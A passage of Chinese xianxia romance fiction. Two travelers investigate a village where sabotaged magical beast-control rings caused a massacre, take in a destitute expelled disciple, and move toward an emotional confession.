云实立刻僵住,屏住呼吸,以为冒犯了。可下一秒,他感觉到身侧之人原本紧绷的肩线,反而缓缓松了下去。那只被他碰到的手,也没有收回,就那样保持着原来的位置,仿佛默许了这无心的触碰。 寂静重新流淌,却与先前不同了。空气里弥漫开一种微妙的张力,并非言语,也非动作,只是纯粹的存在与感知。彼此的体温,衣料的摩擦声,颈侧脉搏在寂静中的细微跳动,甚至发梢偶尔扫过对方肩膀的痒意……所有细微的感知都被放大。 云实闭上眼,试图入睡,却发现自己比醒着时更清晰地感知着身侧的一切。温言身上那股冷香,似乎随着体温的熏蒸,变得稍微暖了一些,丝丝缕缕缠绕过来。他甚至能听到对方绵长呼吸间,极其偶尔的、一次比一次更放松的细微吐息。 晨光未至,篝火将熄未熄,只剩暗红余烬时,云实先醒了。 他是被热醒的——并非篝火的余温,而是身后贴近的、另一个人的体温。他发现自己不知何时彻底翻过了身,面朝里侧,背脊紧贴着温言的胸膛。温言的手臂,竟自然地横搭在他腰侧,手掌虚虚拢着,并未用力,却是一个全然占有的姿势。温言的鼻息轻轻拂过他后颈的碎发,均匀而绵长,显然仍在熟睡。 云实整个人僵住了,血液仿佛瞬间冲上头顶,耳根烧得厉害。他连呼吸都忘了,一动不敢动。身后之人的体温、气息、手臂的重量,所有感知炸开,清晰得令人心慌。温言的中衣衣料柔软,隔着一层,他能感觉到对方胸膛平缓的起伏。 他第一反应是立刻挪开,可身体却不听使唤。那体温太暖,那姿势……太让人贪恋这份陌生的安稳。就在他僵持的瞬间,搭在他腰侧的那只手,指尖无意识地轻轻动了一下,仿佛梦里抓握了什么,然后更自然地、松松地环住了他。 云实心跳如擂鼓。 就在这时,他感觉到身后的呼吸节奏变了。温言醒了。 环在他腰侧的手臂缓缓收了回去。身后的体温也骤然远离。 云实立刻闭上眼,假装仍在熟睡,甚至故意让呼吸显得更沉长一些。他能感觉到温言坐起身的轻微动静,然后是一段长得令人窒息的沉默。 最终,温言轻轻下了床。云实听着那几乎无声的脚步走到火堆边,听着他重新引燃柴火的细微声响,才装作被动静吵醒,慢慢睁开眼,打着哈欠坐起身。 他看向火堆旁,温言背对着他,正用一根树枝拨弄着新生的火苗。晨曦的微光与跳跃的火光一起,勾勒着他挺直的背影和披散未束的青丝。 “早。”云实开口,声音带着刚醒的沙哑,尽量自然。 温言拨弄火枝的动作几不可察地顿了一下,没有回头。 “早。”他的回应传来,依旧平稳,只是比平日低沉了些许。 无人提及昨夜如何入睡,以及醒来时如何紧密相依。但庙宇清冷的晨光里,那堆新生的篝火旁,某种无声的、煨着余温的东西,已经悄然改变,弥漫在每一寸欲言又止的空气里。 只是天气不寻常。乌云压顶,山风渐急,吹得官道两旁林木哗哗作响。温言抬头望天,掐指算了算:“午时前后有雨,且不小。我们找地方暂避。” 云实点头,加快了脚步。他虽不惧风雨,但温言这般人物,总不好让他淋成落汤鸡。 行至半途,雨果然下来了。起初只是淅淅沥沥,不过一刻钟便成了瓢泼之势。雨水如帘,遮蔽视线,官道很快泥泞不堪。云实从行囊中取出件油布披风递过去,温言接过披上,道了声谢。 “前辈,这样赶路太慢。”云实抹了把脸上的雨水,“不如我背您一程?” 温言失笑:“不必。我虽不善争斗,区区风雨还难不倒我。” 说着,他袖中飞出一枚玉符,悬于头顶三寸,洒下淡淡光晕,竟将雨水尽数隔开。 云实看得称奇,却也没多问。二人继续前行,只是速度终究受了影响。 将至荒村时,云实忽然停下脚步。 “有血腥气。”他低声道,手握上了斧柄。 温言也察觉了,眉头微皱:“不止血腥……还有股阴煞之气。这村子不干净。” 荒村依山而建,约莫二十来户,如今已是断壁残垣,荒草丛生。村口有棵老槐树,半边被雷劈焦了,张牙舞爪地立在那里,在雨中显得格外凄厉。 血腥气是从村中传来的,混着雨水也掩不住。云实示意温言稍待,自己先一步踏入村中。 泥泞的村道上,倒着三具尸首。 看衣着是过路的商贩,死状极惨——不是刀剑所伤,而是被活活撕碎的,残肢断臂散落一地,内脏拖出老远,雨水冲刷下,血水汇成暗红的溪流。 云实蹲下身细看,尸首上残留着深深的爪痕,齿印,还有股熟悉的腥臇气。 “是妖兽。”他沉声道,“但不是影狼。爪印更深,齿痕更大,而且……” 他拈起一片碎布,上面沾着黏稠的黑液,散发着腐臭。 “这妖兽带毒。” 温言已走了过来,目光扫过现场,脸色凝重。 “不止一头。至少三头以上,且不是寻常野兽——是被人驯养过的。” “驯养?”云实心头一凛。 “嗯。你看这些爪痕的走向,虽看似杂乱,实则暗合围猎之阵。野兽捕食凭本能,不会如此有章法。”温言俯身,指尖虚点一具尸首颈部的伤口,“这一口咬在这里,是为断喉,一击毙命。寻常妖兽扑食,多先撕扯四肢,不会如此精准。” 云实细看,果然如此。这三具尸首的致命伤都在咽喉或心口,干净利落。 “是劫道的?”他问。 “不像。”温言摇头,“若是劫道,该取财物。你看他们行囊还在,虽散落,银钱货物一样不少。”他指向不远处一个翻倒的背篓,里面滚出几匹布料,在泥水中浸得污浊。 正说着,村中深处忽然传来一声凄厉的尖啸。 那声音非人非兽,尖锐刺耳,穿透雨幕直刺耳膜。云实只觉脑中一嗡,眼前发黑,体内异丹竟随之躁动起来。 “守心!” 温言一声轻喝,同时袖中飞出一枚青色玉环,悬于云实头顶,洒下清辉。那尖啸的余波被清辉一照,顿时减弱大半。 云实喘了口气,心有余悸:“这是什么?” “摄魂音。”温言脸色更沉,“此地不宜久留,速退。” 话音未落,村中破屋里窜出数道黑影。 那是五头形似山魈的怪物,通体黑毛,眼珠赤红,獠牙外露,四肢着地奔行如飞。它们身上都套着破烂皮甲,颈间系着锈迹斑斑的铁环——果真是被人驯养过的! 五头山魈呈扇形围上,喉中发出低沉的呜咽,赤红的眼死死盯着二人,涎水滴落,在泥水中呲呲作响,竟有腐蚀之效。 “前辈退后。”云实一步踏前,挡在温言身前,斧头已然出鞘。 这次他没再试探,体内“乱”力全力催动,异丹震颤间,一股无形波动以他为中心扩散开来。五头山魈同时身形一滞,眼中红光涣散,攻势顿缓。 云实身形如电,直扑为首那头最壮硕的山魈。斧刃未至,乱力先到,那山魈只觉脑中嗡鸣,眼前景物扭曲,待要挥爪格挡时,斧刃已至颈侧。 “噗嗤!” 黑血喷溅,山魈硕大的头颅滚落在地。其余四头这才回过神,厉啸扑上。 云实不退反进,斧随身转,划出一道诡异的弧线。这一斧不求力大,但求乱力尽数灌注。斧风过处,四头山魈同时感到心烦意乱,爪击扑咬竟失了准头,彼此碰撞,乱作一团。 好机会! 云实眼中寒光一闪,斧刃连斩。“噗噗”两声,又有两头山魈毙命。余下两头见势不妙,竟转身欲逃。 “留活口!”温言忽然出声。 云实闻言,斧势一变,改斩为拍。斧背重重砸在一头山魈后脑,它闷哼一声,扑倒在地。另一头却已窜出数丈,眼看要没入雨中。 温言袖中飞出一道青索,如灵蛇般追上,将那头山魈捆了个结实,拖回面前。 战斗不过十息,五头山魈三死两擒。 云实持斧而立,呼吸微促。方才一战他全力施为,对乱力的掌控又有精进,已能同时影响四头妖兽的心神。只是全力催动下,体内异丹又隐隐作痛。 温言走到那头被敲晕的山魈旁,俯身查看它颈间铁环。铁环锈蚀严重,却仍能看出上面刻着扭曲的符文,透着一股阴邪之气。 “果然是驭兽环。”他脸色沉了下来,“此物不对劲。” 云实也凑过来看:“前辈是说,有人在此驯养妖兽害人?” “不止害人。”温言指向村中深处,“你听。” 雨声中,隐约传来更多呜咽低吼,此起彼伏,不下十数道。 云实心头一沉:“还有更多?” “怕是整座村子都已成了妖兽巢穴。”温言起身,望向村中那些破败屋舍,“这些山魈不过是看门的,里面必有主事之人。” 正说着,那头被青索捆住的山魈忽然剧烈挣扎起来,眼中红光大盛,口鼻中溢出黑血,气息急速衰弱。 “不好,它要自绝!”温言急掐法诀,一道清辉打入山魈体内,却已晚了。那山魈浑身抽搐几下,便没了声息。 再看地上那头被敲晕的,竟也七窍流血,气绝身亡。 “禁制反噬。”温言收回青索,脸色难看,“驭兽环中设了禁制,一旦妖兽被擒,禁制便会触发,夺其生机。好狠辣的手段。” 云实看着地上五具妖兽尸首,心中寒意渐生。驯养妖兽,设禁制灭口,这背后之人行事周密狠毒,绝非寻常匪类。 “前辈,此地凶险,不宜久留。不如绕道?” 温言的目光却凝在妖兽颈间那锈蚀的铁环上,没有立刻回答。雨水顺着他清俊的侧脸滑下,他的眉头微微蹙起。他蹲下身,不顾污秽,用手指仔细抹开一枚铁环上最厚重的锈斑,露出底下模糊却依旧可辨的印记——一个规整的、代表官方核准的符文烙印,旁边还有一组小小的编号。 “不对。”他站起身,声音比雨声更冷,“这是官制的‘驭兽环’,有登记烙印和编号。北地三州,凡驯养有阶妖兽用于矿道勘探、险地运输或边境巡防,皆需向‘灵兽监’申请报备,领用此环,以防妖兽失控,也便于追责。” 云实一愣:“官制的?那这些……” “要么是持有人违背律令,私自用于害人。”温言顿了顿,目光投向村中深处那令人不安的黑暗,“要么,就是环本身出了大问题,导致驯兽反噬,杀了主人,甚至……杀了所有能杀的生灵。” 他直起身,指尖微动,一枚小巧的玉质官印在掌心浮现,散发出微弱的、与那铁环上官方烙印同源的灵力波动。 “我是四明宗派驻北地协理庶务的监察使,按律,发现登记在册的驭兽环异常、尤其是可能引发大规模伤亡时,需即刻核查并上报灵兽监及当地镇守府。”他看了一眼云实,话锋微转,“此地若真有朝廷官员在管,不该是这般死寂景象。若无人在管,则是严重失职,我更需查明原委,留存证据。” 云实立刻明白了温言的潜台词:如果上报,天衡宗作为北地魁首,必然第一时间接到协查通报并派人前来。而他云实,正是天衡宗缉令上的要犯。 而温言没有立马上报。 “……”云实喉头有些发紧。 温言的语气恢复了公事公办的平静,“此事既被我撞见,于公于私都需查个明白。于公,是我的职责;于私……”他再次看向云实,“你既随我同行,此事或许也与你我之后的路径有关。弄清根源,方能规避后患。” 他收起官印,取而代之的是一枚留影玉简,开始冷静地记录现场:妖兽尸首、铁环特写、周围环境、残留的血迹与打斗痕迹。他的动作迅捷而专业,每一个角度都确保信息完整。 “跟我进去看看。”做完初步记录,温言当先向村中走去,“若真有朝廷命官在此却玩忽职守,乃至同流合污,我需拿到确凿证据。若只是意外或技术纰漏……”他眼神微冷,“也得弄明白是怎么出问题的。” 云实握紧斧柄,快步跟上。 越往深处,血腥气越浓,但奇怪的是,始终没有活物的气息,也没有新的妖兽扑出。只有大雨冲刷着更多凌乱的血迹和拖拽的痕迹,一些屋舍的门窗上有猛烈的撞击和爪痕,仿佛里面的人或兽曾疯狂地想逃出来。 祠堂的大门洞开,黑暗浓稠。温言在门前停下,袖中滑出三枚玉符,不是攻击法器,而是散发出稳定白光的照明符,缓缓飞入祠堂,驱散了门口的一片黑暗。 光亮所及,景象触目惊心。 祠堂内空间比外面看着大,此刻却宛如炼狱。地上横七竖八倒着不下十具尸首,有人,也有更多山魈妖兽。人类的尸首穿着两种服饰:一种是粗糙的皮甲,像是护卫或驯兽师;另一种,赫然是底层官员的皂色公服!而妖兽尸首的死状更为诡异,不少是互相撕咬致死,颈间的铁环有的碎裂,有的则闪烁着不稳定的、邪异的红光。 在祠堂最深处,有一座已经停止运转、符文黯淡的简陋石台,看起来像是某种控制或通讯法阵的基座。石台旁,倒着一具身穿青色官袍的尸首,官袍胸前绣着代表灵兽监下属豢养使的獬豸纹。此人死状极惨,胸口被洞穿,手中却紧紧攥着一枚已经碎裂的深蓝色玉环——那正是驭兽环的控制核心母环。 温言快步上前,无视血腥,先以留影玉简多角度记录现场,尤其是那官袍尸首、母环以及满地混杂的人兽尸骸。然后,他才小心地俯身,检查那枚碎裂的母环。 “母环被强行篡改过。”他很快得出结论,指尖凝聚一丝灵力,点在碎裂处,“内部引导妖兽心神的安神符文被逆向刻画,变成了嗜血狂乱的邪咒。不止如此,还叠加了某种极端强制的爆血禁制,一旦触发,妖兽便会狂性大发,不分敌我攻击周围一切活物,直至精血燃尽或被杀。” 他的声音冷得像冰:“这是蓄意破坏。而且手法相当专业,非一般人能为。篡改者深谙官方驭兽环的炼制原理,才能如此精准地逆转核心符文。” 云实看着满地尸首,背脊发寒:“是有人要害这村子里的官员和驯兽师?” “恐怕不止。”温言站起身,目光锐利地扫过祠堂,“若是针对个人,不必大费周章篡改所有子环。看这规模,此人是要让这里所有的驯养妖兽彻底失控,制造一场无差别的屠杀。目的……或是灭口,或是试验,或是制造混乱。” 他走到石台边,检查了一下:“通讯法阵被毁坏了,是人为破坏。这里的人最后都没能把消息传出去。” 他不再犹豫,从怀中取出两枚式样不同的传讯玉符。一枚通体青色,纹路雅致,是四明宗内部的紧急通讯符;另一枚则是玄底金纹,透着官家的威严,是直达灵兽监与北地镇守府的官方法器。 他先激活了那枚青色玉符,快速以神念录入信息:“北地栖霞镇西南约二百里,无名荒村,发现灵兽监登记驭兽环(编号自甲丑七十三至甲丑八十九)大规模异常,母环被恶意篡改,引发妖兽反噬,现场无人生还,包括一名豢养使及多名吏员、驯兽师。疑为针对官制驭兽体系的蓄意破坏,恐有蔓延风险。我已留存影像证据,正做进一步探查。涉事地临近天衡宗辖界,建议即刻通传各宗及各州府加强戒备,彻查近年同类驭兽环流向。温言禀。” 发送完毕后,他看向那枚玄金玉符,又看了一眼云实,动作几不可察地顿了一下。最终,他还是将其激活,录入的信息更为正式简洁,强调了事件的严重性、现场证据已获取,并请求灵兽监立即启动紧急预案,协查所有同期出库的同类驭兽环。 做完这一切,温言收起玉符,对云实道:“消息已送出,但宗门和官府调集人手、核实信息、做出反应需要时间。既然通知了天衡,我们就不能继续查了,需要赶紧离开。” 二人迅速清理掉自己留下的明显痕迹,沿原路退出祠堂,冒着未停的冷雨,以最快速度远离了那片充满死亡与阴谋的荒村。直到确认身后那片死寂的轮廓彻底被丘陵与夜雨吞没,他们才在一处背风的山崖下寻到能暂且容身的凹陷。 温言迅速布下简单的隔绝气息的障眼法,云实则默默捡来些未被雨淋透的枯枝,用那点微末的火灵根天赋费力地点起一小簇可怜的火苗。火光勉强驱散些许黑暗和寒意,映照着两人凝重而疲惫的面容。 身上湿透的衣物贴着皮肤,带来黏腻的不适,但比这更让云实感到如鲠在喉的,是祠堂中感受到的那股力量残留——冰冷、狂暴、充满恶意的乱。与他体内那股虽桀骜却已渐渐熟悉的力量同源,却又截然不同,像是清澈的溪流与污浊毒沼的区别。 “是乱力。”云实开口,声音有些干涩,他没看温言,盯着跳跃的火苗,“改环的手法……他们把乱……注进了环里,逆转了符文。” 他自己就是乱灵根,苏妄是玩弄序乱的高手,如今又出现用乱力害人、酿成如此惨祸的勾当。这力量仿佛天生就与阴谋、混乱、不祥捆绑在一起。 温言正拧着衣摆的水,闻言动作顿了顿。他看向云实绷紧的侧脸,火光在那上面投下晃动的阴影。 “嗯,我察觉到了。”温言的声音平稳,听不出太大波澜,“乱是四柱维度之一,本身并无正邪,如同水火。火可烹食取暖,亦可焚屋伤人。此次之事,是有人以乱力为工具,行邪祟残忍之举,其罪在施用之人,而非乱力本身。” 他顿了顿,语气稍稍放缓,带着一种陈述事实的客观:“在朝廷和多数正统宗门看来,乱力因其特性难以约束、易生变数,确实多持审慎甚至排斥态度。规训乱灵根修士的条例也远比其它灵根严苛。这是现状。” 云实的心微微下沉。果然,连温言也这么说。他想起天衡宗测出他灵根时那些弟子惊讶又带着疏离的眼神。 但温言接下来的话却让他一怔。 “但审慎排斥,与全盘否定、视若洪水猛兽,是两回事。”温言将拧过的外袍搭在火堆旁的石头上烘烤,动作依旧带着那股子习惯性的规整,“律法规条是死的,人是活的。我所见过的卷宗里,也有修乱力者,凭借对混乱与秩序的独特理解,于侦缉、破障、甚至某些特殊救治中建下奇功。关键在于掌控与心性。” 他抬眼,目光落在云实脸上,清澈而直接:“你与祠堂里那股充满恶意的残留,完全不同。你的乱,是在绝境中为自己劈出生路的力量,是守护家人、不忘旧友的依仗。我看得到。” 云实猛地抬头,撞进温言平静却笃定的目光里。那目光里没有敷衍的安慰,也没有居高临下的评判,就像在陈述一个再明显不过的事实。 “我……”云实喉咙有些发堵,那些因为灵根而生的隐秘自卑与不安在这目光下似乎被熨平了些许。他撇开视线,低声道:“我只是怕……前辈是朝廷的人,见多了规矩,会不会也觉得……我终究是个麻烦。” “麻烦?”温言几不可闻地轻笑了一声,那笑意很淡,却驱散了些许夜雨的寒凉,“你若是麻烦,今日我便不会在此。我看中的,正是你这股在规矩边缘也能站稳、在绝境里也能开出路来的劲儿。至于灵根,”他语气转为务实,“它是你的一部分,是你力量的源头,也是你将来立身的根基。若因它而生非议,用实事去堵住那些嘴便是。” 他拿起树枝拨了拨火,让火烧得更旺些。“此案我已详尽上报,证据确凿,涉及官制法器流通与黑市匠师,必定会立案严查。待我们到了京城,我会将此事首尾厘清呈报。而你,”他看向云实,“作为现场第一见证者,又能提供独特视角。待你身份之事妥善解决,若你实在在意,甚至可以申请参与后续协查。” 温言的话为云实勾勒出一个此前从未想过的、光明的可能性。云实深吸了一口带着湿木头气息的空气,感觉胸膛里那股憋闷感舒缓了许多。他看向温言,火光在那张清俊的脸上跃动,神情是一如既往的平静与可靠。 “我明白了,前辈。”云实点了点头,语气变得踏实,“先到京城,一步步来。” …… 接下来的几日,天气转晴,路途也平顺不少。二人脚程本就不慢,加之离帝国中枢愈近,官道修筑得愈发宽阔平整,沿途驿站村镇也稠密起来。风尘仆仆多日,终于远远望见前方地平线上,出现了一片规模远超沿途任何城镇的连绵屋舍轮廓,人烟气息隔空传来,嘈杂中透着勃勃生机。 那是一座大型的集市,依托交通要道自发形成,虽无城墙,但屋舍鳞次栉比,商铺旗幡招展,车马行人川流不息,俨然一座繁华边城。到了这里,离真正的京城便只剩下数日路程了。 两人随着人流步入集市,喧嚣声浪扑面而来。贩夫走卒的吆喝、灵兽坐骑的嘶鸣、铁匠铺叮当的敲打、茶馆酒肆飘出的食物香气……混杂着泥土、牲口和各类药材矿石的复杂气味,充满了粗糙而旺盛的活力。云实下意识地护在温言身侧半步,目光警觉地扫过熙攘人群。这里人多眼杂,是藏身的好地方,也容易滋生事端。 温言神色倒是一如既往的平静,只是目光偶尔掠过某些挂着特殊标记的店铺或行人服饰上的纹章时,会微微停顿,似乎在心中默默核对信息。他并未急于寻找客栈,而是带着云实看似随意地在主要街道上穿行,熟悉环境。 就在他们经过一个挤满人的小吃摊时,云实眼角余光猛地瞥见一手正以极快的速度,灵蛇般探向温言腰间那个看似普通的储物囊袋——那里除了些许杂物,主要放着温言的钱袋和一些紧要却不便收入体内的低阶信物。 几乎是本能反应,云实手腕一翻,后发先至,精准地扣住了那只手腕。入手处骨骼硌手,没什么力气。 “哎哟!”一声痛呼响起。 云实拧着对方手腕转过身,看到的是一个年纪与他相仿,或许还小些的青年。穿着一身洗得发白、多处磨损的旧道袍,头发用一根枯枝草草束着,脸上脏兮兮的,唯有一双眼睛又大又亮,此刻正疼得龇牙咧嘴,却不见多少惧色,反而嚷嚷着:“松手松手!疼!我就想拿个饼子!” 云实皱眉,看向他另一只手,空空如也,并非持有利器。他又瞥了一眼小吃摊,热腾腾的炊饼香气正浓。温言此时也已转身,目光平静地落在青年脸上,又扫过他破烂的道袍和空空如也的双手。 “先放开他。”温言对云实道。 云实松手,但仍紧盯着青年。那青年揉着发红的手腕,嘴里吸着凉气,眼睛却在温言和云实身上转了一圈,尤其是在温言那身料子寻常却异常整洁的青衫上停了停,然后垮下肩膀,耷拉着脑袋:“对不住,真人……我、我太饿了,三天没正经吃东西了。看见您……觉得像有钱的好心人,就、就鬼迷心窍……我没想偷钱,真的,就闻着饼香……” 他说着,肚子还适时地咕噜叫了一声,在嘈杂背景音里都清晰可闻。 温言没说什么,转身走到小吃摊前,买了三个刚出炉、撒着芝麻的厚实炊饼,又让摊主用油纸包了一大块酱肉。他走回来,将食物到那青年面前。 青年愣住了,呆呆看着眼前的食物,又抬头看看温言平静无波的脸,喉结剧烈滚动了一下,却没立刻去接。 “吃吧。”温言道。 青年这才像是回过神来,一把抓过饼和肉,也顾不得烫,狼吞虎咽起来,吃相极为狼狈,几口下去就被噎得 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“嗨,别提了。被赶出来了呗。”青年撇撇嘴,“说我‘灵觉愚钝,于探查感应一道毫无天赋,不堪栽培’。”他学着某种严肃腔调,随即又垮下脸,“其实就是嫌我笨,完不成他们派的那种偷鸡摸狗……呃,是那种需要潜入、感应、搜集情报的精细活儿。我试了几次,每次都搞砸……殿里不养闲人,尤其是我这种……关系户。”他顿了顿,声音低了些,“我爹……是殿里一位执掌长老的远房表亲的连襟……反正拐着弯算有点关系。本来指望我进去混个出身,结果我太不争气。与其在里面碍眼,不如自己识相点出来。” “出来之后呢?如何称呼?”温言问。 “啊?哦,我叫予,给予的予。”予挠了挠头,“出来之后……不知道啊。钱花完了,啥也不会,最后就只能这样了。”他指了指自己破旧的道袍。 云实和温言对视一眼,听明白了。这不是被严厉惩戒后逐出山门,更像是某种心照不宣的劝退。一个没什么修行天赋、也无心于此的仙二代,被塞进大宗门,发现实在扶不上墙后,又被体面地请了出来。予本人对此似乎并不十分痛苦,更多是茫然和一点被戳破面子的羞恼。 “那你出来之后,有何打算?”温言问。 “打算?”予挠了挠头发,一脸茫然,“不知道啊。家里……那边是回不去了,丢人。本来想着自己闯荡,结果发现除了在殿里混日子学的那点半吊子感应术啥也不会。钱花完了,想去给人当护卫吧,人家嫌我修为低微还没经验;想去店铺当伙计,人家又嫌我笨手笨脚……最后就只能这样了。” “不是天生愚钝,”温言忽然道,语气平淡却肯定,“是懒散惯了,无人逼迫,也未找到真正想做的事。灵力运转虽有滞涩,但根基尚在,只是荒废了。” 予眨眨眼,没反驳,嘿嘿笑了两声:“真人您说得对。我就是被惯坏了,以前觉得什么都有人安排,不用自己动脑子。现在没人管了,才发现自己真是个废物。”他这话说得大大咧咧,甚至带着点自嘲,仿佛在说别人的事。 温言看着他,沉吟片刻,道:“我们正要前往京城。你若暂无去处,可与我们同行一程。京城机会多,或许能有适合你的活计。” 予眼睛一亮,随即又黯淡下去,搓着手:“这……这怎么好意思……我、我啥也不会,还差点偷了您东西……” “无妨。”温言语气依旧没什么起伏,“路上多个人,多双眼睛。到了京城,你再自行决定去留。” 予看看温言,又看看旁边一直沉默但气息沉凝的云实,咬了咬牙,从地上爬起来,拍拍屁股上的灰,对着温言郑重其事地作了个揖——虽然姿势不太标准:“那、那就多谢真人收留!路上有什么跑腿打杂的活儿,您尽管吩咐!我、我力气还是有一把的!” 就这样,前往京城的二人行,变成了三人行。 予很快便展现出他混迹市井的本事。找客栈、谈价钱、安排伙食,甚至向店家多要一盆热水这类琐事,他都办得利索周到,脸上总挂着让人生不起气来的笑容,嘴也甜,几句话就把掌柜和伙计哄得眉开眼笑。他与温言走在一处时,似乎也总能找到话题,从集市上见闻的趣事,到对京城风貌的猜测,甚至是一些无关紧要的修行界逸闻,予都能说得头头是道,引得温言偶尔也会应和几句,气氛竟比之前只有云实和温言两人时要活络许多。 温言选了间干净但不算奢华的客栈,要了三间相邻的上房。他对予道:“你单独一间,便于休息。”又看向云实,语气如常:“云实也早些休息。” 安顿下行李,温言便领着予去了附近的成衣铺,予需要从头到脚收拾一番,这无可厚非。云实默不作声地跟在后头,看着温言细致地帮予挑选合身的布衣鞋袜,予则笑嘻嘻地试穿,不时说些俏皮话,温言虽话不多,却也耐心应着。 待予买齐东西,温言付了账,予抱着新衣物,脸上是毫不掩饰的欢喜。温言这才转向云实,目光在他身上那件浆洗发白、一路风尘的旧衣上停留了一瞬,似乎想说什么。云实却先一步移开了视线,低声道:“前辈,我先回客栈打点热水。” 说罢,也不等回应,便转身走了。 温言看着他的背影,微微顿了一下,终究没叫住他。予在旁边浑然不觉,还在兴高采烈地比划新衣服。 回到客栈,云实自己的房间已经收拾妥当。他打了水,慢慢擦洗一路的风尘,听着隔壁予房间里传来的、隐约的哼歌声和收拾东西的动静,再远处,温言房里静悄悄的。那点不是滋味的感觉,在独自一人的安静里,慢慢沉淀下来,不再那么尖锐,却更加清晰。 他擦干手,走到窗边。客栈楼下的街道灯火朦胧,人流依旧。予的出现,像一面镜子,照出了他自己都未曾仔细审视过的局促和笨拙。温言对予的照顾周到而自然,那是他温言一贯的处事方式,或许对自己也曾如此,只是自己当时满心戒备与算计,未曾像予这般坦然受之,也未曾……这般“像样”。 他心里有点不是滋味,像是有细小的沙砾硌在胸口,不疼,却挥之不去。他原本以为……温言待他是有些特别的。那种跨越了身份修为差距的耐心指点,狭窄床榻上无声的体温与气息……都让他产生过一丝连自己都无法清晰定义的、隐秘的期冀和暖意。他觉得,自己在温言眼里,或许不只是个有用的异数。 可现在,予出现了。这人虽然落魄,言谈举止间却仍带着大宗门出身的某种落落大方,接受好意时坦然,与人交往时热络,就连那点油滑和混不吝,都显得自然不惹厌。和自己这个从小在布料堆和算计里打滚、习惯了警惕和衡量、连接受一点帮助都要在心里翻来覆去琢磨代价的野路子比起来,予显然更……更像那么回事。更配站在温言那样的人身边说笑。 夜色渐深,客栈房间内只余一盏油灯散着昏黄的光。予早已在自己的房间安歇,温言也回来了。 云实坐在靠窗的矮凳上,手里无意识地摩挲着粗陶茶杯的边缘,目光低垂,盯着自己投在地上的影子。 温言坐在桌旁,并未调息,也未看书,只是安静地坐着,目光落在云实略显紧绷的侧脸上。油灯的光将他长长的睫毛投影在眼下,显得目光格外沉静,也格外具有穿透力。 “云实。”温言忽然开口,声音不高,在寂静中却清晰无比。 云实肩膀几不可察地动了一下,抬起眼:“前辈?” “你心里有事。”温言用的是陈述句,并非疑问。 “……没有。”云实几乎是下意识地否认,声音有些干,“只是有些累了,路上想的事多。” “路上想的事,包括看着我给予买衣服,然后自己默默走开?”温言的语气依旧平和,却不再给他闪躲的余地,“云实,你若连实话都不肯对我说,到了京城,诸多关节,我又该如何帮你?” 云实握着茶杯的手指收紧,指节微微发白。他确实需要温言的帮助。这份依赖让他此刻的沉默显得可笑又脆弱。 “我……”他张了张嘴,喉咙发紧,那些混杂的、难以启齿的情绪堵在那里。 温言耐心地等着,没有催促,但那平静的目光却仿佛有重量,压得云实不得不开口。 “我只是……”云实深吸一口气,避开了温言的视线,声音低了下去,“只是觉得自己在这里……格格不入。予他……他接受什么都那么坦然,说话做事也大方。我……我却总是在心里掂量,怕欠人情,怕还不起,怕显得……” 他顿了顿,终究没说出“上不得台面”这几个字,但意思已然明了。 “还有呢?”温言问,似乎并不意外。 云实沉默了片刻,像在梳理一团乱麻:“还有……担心家里,担心纸鸢那边会不会因为我惹上麻烦,担心荒村那个案子会不会有后续,更担心自己这点修为,到了京城什么都不是,洗白身份更是遥遥无期……”他越说越快,这些确是他心底实实在在的焦虑,但说到最后,声音却渐渐低了下去,仿佛耗尽了力气,只剩下最深处那一丝难以捕捉的游移,“还有……还有一部分,我……” 他停住了,像是在悬崖边勒马。 温言看着他挣扎的样子,声音放缓了些,却依旧清晰:“看来你不仅在意前途,也在意我是不是‘重点关照’你?” 云实猛地抬头,撞进温言深邃的目光里,那目光似乎能将他那点隐秘的心思照得无所遁形。他脸上发热,想否认,却发不出声音。 “我们之间,差距太大。”温言继续说道,语气里听不出情绪,只是陈述一个事实,“修为、地位、阅历皆是云泥之别。因为差距太大,以至于我时常难以分辨,靠近我的人,所求究竟为何。人性趋利,我见过太多,无非是想要些好处、庇护、或是一条捷径。你现在说的话,我也未必能全信。” “但是,”温言话锋忽然一转,那眼眸里似乎极快地掠过一丝难以捕捉的东西,“此刻,在这里,我只是想听你说句实话。抛开所有算计、权衡、利弊,你心里那点‘不是滋味’,到底是什么?” 这近乎直白的追问,撕开了云实最后的防护。他怔怔地看着温言,在那双眼睛里,他似乎看到了一种不同于以往公务性温和的、更深邃的专注。这不是上位者的审视,更像是一种……等待。 他忽然就不想再闪躲了。 “我……我不知道。”云实的声音有些哑,带着豁出去的坦诚,“一部分,确实是因为我自己在这里放不开,羡慕予的坦然。一部分,是焦虑家里、案子、还有我自己这不上不下的修为和身份。但还有一部分……”他闭上眼,像是要把最后那点羞耻也碾碎,“……就只是……单纯的害怕。” “怕什么?” “怕你……不再理会我。”云实睁开眼,目光直直地看向温言,不再回避,“就像今天你自然地去照顾予那样,以后也会更自然地……把注意力放到别处。我担心,如果我们之间没有这些差距,如果你不能给我任何好处,我这份担心……依然存在。” 话音落下,房间里陷入了粘稠的寂静。 温言没有立刻说话。他依旧那样坐着,目光却像被钉在了云实脸上,不再是平日那种隔着距离的平静审视,而是带着一种前所未有的专注,近乎贪婪地读取着云实所有细微的表情——那颤抖的睫毛,紧抿的唇线,还有那双眼睛里,不再掩饰的、笨拙又滚烫的在意。 一种极其陌生的、温热的涟漪,从温言心湖深处某片他以为早已冰封的区域荡开。 他嘴角那抹极淡的弧度并未消失,反而慢慢加深,化作一个真正意义上、带着温度的浅笑。不是公务性的温和,而是某种被打动后的、真实的愉悦。这愉悦让他整张脸部的线条都柔和下来,在昏黄的光晕里,显出一种惊心动魄的俊美。 “我明白了。”他终于开口,声音比刚才低沉了许多,带着一丝不易察觉的沙哑,像羽毛轻轻搔刮过耳膜。他没有说“谢谢”,只是将这三个字说得格外慢,格外沉,仿佛在唇齿间细细品味过。 他缓缓倾身,向云实的方向靠近了一些。这个动作打破了两人之间安全的距离,温言的目光锁着云实的眼睛,声音压得更低,只有他们两人能听清。 “那么,现在……”他顿了顿,似乎在寻找最准确的词,眼中那点愉悦的光芒微微闪烁,“还怕吗?” 云实完全僵住了。温言的靠近、气息、还有那低语中毫不掩饰的探寻与某种近乎纵容的意味,像一场突如其来的风暴,将他卷入其中。他大脑一片空白,方才那点豁出去的勇气消失得无影无踪,只剩下心脏在胸腔里疯狂擂鼓的声音,震耳欲聋。他张了张嘴,却发不出任何音节,只能怔怔地望着近在咫尺的温言,望进他深不见底、却不再冰冷的眼眸里。 